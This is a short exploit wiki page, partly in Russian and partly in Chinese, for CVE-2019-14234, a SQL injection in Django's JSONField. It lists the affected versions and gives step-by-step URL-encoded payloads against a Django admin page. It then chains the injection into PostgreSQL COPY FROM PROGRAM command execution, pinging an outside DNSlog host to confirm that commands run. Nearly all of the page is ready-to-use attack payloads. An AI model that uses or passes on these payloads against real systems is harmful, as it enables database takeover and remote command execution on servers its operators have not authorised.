View source for CVE-2019-14234 Django JSONField SQL注入漏洞/ru

<languages   />

==Затронутая версия==
<pre>
Django 2.2.x < 2.2.4

Django 2.1.x < 2.1.11

Django 1.11.x < 1.11.23
</pre>

== Эксплуатация ==

Во-первых, вам необходимо войти в систему в фоновом режиме администратора и получить доступ к странице управления  model Collection:
<pre>
http://127.0.0.1/admin/vuln/collection/
</pre>

<pre>
http://127.0.0.1/admin/vuln/collection/?detail__a%27
</pre>

<pre>
http://127.0.0.1/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20--
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
Django一般與PostgreSQL一起配合使用，可以嘗試利用PostgreSQL 高權限命令執行漏洞[https://www.pwnwiki.org/index.php?title=CVE-2019-9193_PostgreSQL_%E9%AB%98%E6%AC%8A%E9%99%90%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E (CVE-2019-9193)]
</div>


Посетите следующий URL:
<pre>
http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20
</pre>

Подтвердите успешно выполненный оператор <code>no results to fetch </code>.

доступ:
<pre>
http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_execs%20FROM%20PROGRAM%20%27ping%20test.dnslog.cn%20%27--%20
</pre>

Команда была выполнена успешно.

===⚠️️===
<div lang="chinese" dir="ltr" class="mw-content-ltr">
<code>test.dnslog.cn</code>請修改爲自己的Dnslog
</div>